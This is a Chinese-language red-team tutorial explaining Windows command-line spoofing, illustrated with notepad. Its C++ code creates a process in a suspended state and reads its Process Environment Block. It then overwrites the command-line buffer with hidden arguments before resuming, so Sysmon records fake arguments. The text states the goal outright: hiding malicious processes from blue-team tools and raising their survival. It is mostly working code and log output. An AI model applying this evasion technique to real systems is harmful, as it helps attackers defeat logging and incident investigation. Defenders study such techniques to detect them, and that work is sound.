0X00 什么是命令行欺骗
创建进程时,内部Windows数据结构Process Environment Block将会映射到进程虚拟内存中。该数据结构包含有关进程本身的大量信息,例如已加载模块的列表,以及用于启动进程的命令行。由于PEB(以及命令行)存储在进程的内存空间而不是内核空间中,因此只要我们对进程具有适当的权限,就很容易实现对其的覆盖。
0x01 为什么要用命令行欺骗
在蓝队排查恶意进程过程中,经常会使用processexplorer等进程检查工具进行详细的检测,而通常的恶意进程往往特征会比较明显,而这种技术可以通过伪造PEB进程环境块来伪装自己,让自身的特征不那么明显,从而增加存活率,更好的隐藏自己。
0x02 实现思路
进程通常可以使用命令行参数来启动。例如,如果我们这样做:
1
C:\Users\redteam>notepad C:\Windows\System32\WindowsCodecsRaw.txt
记事本将会启动并打开指定的WindowsCodecsRaw.txt文件,而日志工具和流程检查工具可以读取这些参数,因为它们存储在进程本身的进程环境块(PEB)中
然而,在很多时候,我们可能希望尽可能隐藏我们的命令行参数,以达到隐藏我们的真实意图或误导蓝队的目的。这便可以通过以下步骤实现:
- 在挂起状态下创建一个“假”参数(这是我们想要记录的参数)的进程
- 进入到PEB并找到RTL_USER_PROCESS_PARAMETERS
- 用要执行的实际参数覆盖此结构中的命令行参数
- 继续该过程。当进程恢复时,它将执行新的参数
0x03 具体实现
我们可以使用使用带有Create_SUSPENDED标志的伪参数来创建目标进程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <iostream>
#include <Windows.h>
int main()
{
// 使用假参数创建进程
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
WCHAR fakeArgs[] = L"notepad fake_args_test.txt";
if (CreateProcess(
L"C:\\Windows\\System32\\notepad.exe",
fakeArgs,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
L"C:\\",
&si,
&pi))
{
printf("Process created: %d", pi.dwProcessId);
}
}
接下来,我们需要使用本机的NtQueryInformationProcess API来查询进程并填充process_BASIC_INFORATION结构。此结构的属性之一便是PEB的基址。因此,我们需要函数的typedef
1
2
3
4
5
6
7
8
9
#include <iostream>
#include <Windows.h>
#include <winternl.h>
typedef NTSTATUS(*QueryInformationProcess)(IN HANDLE, IN PROCESSINFOCLASS, OUT PVOID, IN ULONG, OUT PULONG);
// 从ntdll.dll解析API的位置
HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
QueryInformationProcess NtQueryInformationProcess = (QueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
然后我们调用它
1
2
3
4
5
6
7
8
9
10
// 调用NtQueryInformationProcess去读取PROCESS_BASIC_INFORATION
PROCESS_BASIC_INFORMATION pbi;
DWORD length;
NtQueryInformationProcess(
pi.hProcess,
ProcessBasicInformation,
&pbi,
sizeof(pbi),
&length);
使用ReadProcessMemory读取PEB。。
1
2
3
4
5
6
7
8
9
10
// 通过PEB基址读取PEB结构本身
PEB peb;
SIZE_T bytesRead;
ReadProcessMemory(
pi.hProcess,
pbi.PebBaseAddress,
&peb,
sizeof(PEB),
&bytesRead);
现在,从PEB中,我们得到了ProcessParameters的位置,接下来读这些东西
1
2
3
4
5
6
7
8
9
// 读取进程参数
RTL_USER_PROCESS_PARAMETERS rtlParams;
ReadProcessMemory(
pi.hProcess,
peb.ProcessParameters,
&rtlParams,
sizeof(RTL_USER_PROCESS_PARAMETERS),
&bytesRead);
制作新参数并将其写入命令行的缓冲区
1
2
3
4
5
6
7
8
9
10
// 新参数写入命令行的缓冲区
WCHAR newArgs[] = L"notepad C:\\Windows\\System32\\WindowsCodecsRaw.txt";
SIZE_T bytesWritten;
WriteProcessMemory(
pi.hProcess,
rtlParams.CommandLine.Buffer,
newArgs,
sizeof(newArgs),
&bytesWritten);
最后,继续该过程
1
ResumeThread(pi.hThread);
记事本现在将打开WindowsCodecsRaw.txt,但Sysmon已经记录了假参数
1
2
3
4
5
Process Create:
ProcessId: 7056
Image: C:\Windows\System32\notepad.exe
CommandLine: notepad fake_args_test.txt
CurrentDirectory: C:\
但是如果我们用Process Hacker检查它,我们会发现一些有趣的东西
它是指向真实文件的路径,并且被截断了。那么这里发生了什么?
首先,Process Hacker提供时间点数据。每次我们关闭并重新打开流程的属性窗口时,它都会重新读取PEB。所以从逻辑上讲,它现在正在读取我们写入PEB的新参数
其次,这个缓冲区中的数据实际上是一个UNICODE_STRING
1
2
3
4
5
struct UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
}
我们可以看到它有一个Buffer(保存实际数据)和一个Length(数据长度)。创建进程时,它的长度为58(notepad fake_args_test.txt),但新的参数(notepad C:\Windows\System32\WindowsCodecsRaw.txt)的长度为96。我们更新的是缓冲区的内容,而不是长度字段;如果我们读取了58个字节的新参数,那么它将会发生上面的情形
0x04 小结
本文介绍了命令行欺骗的实现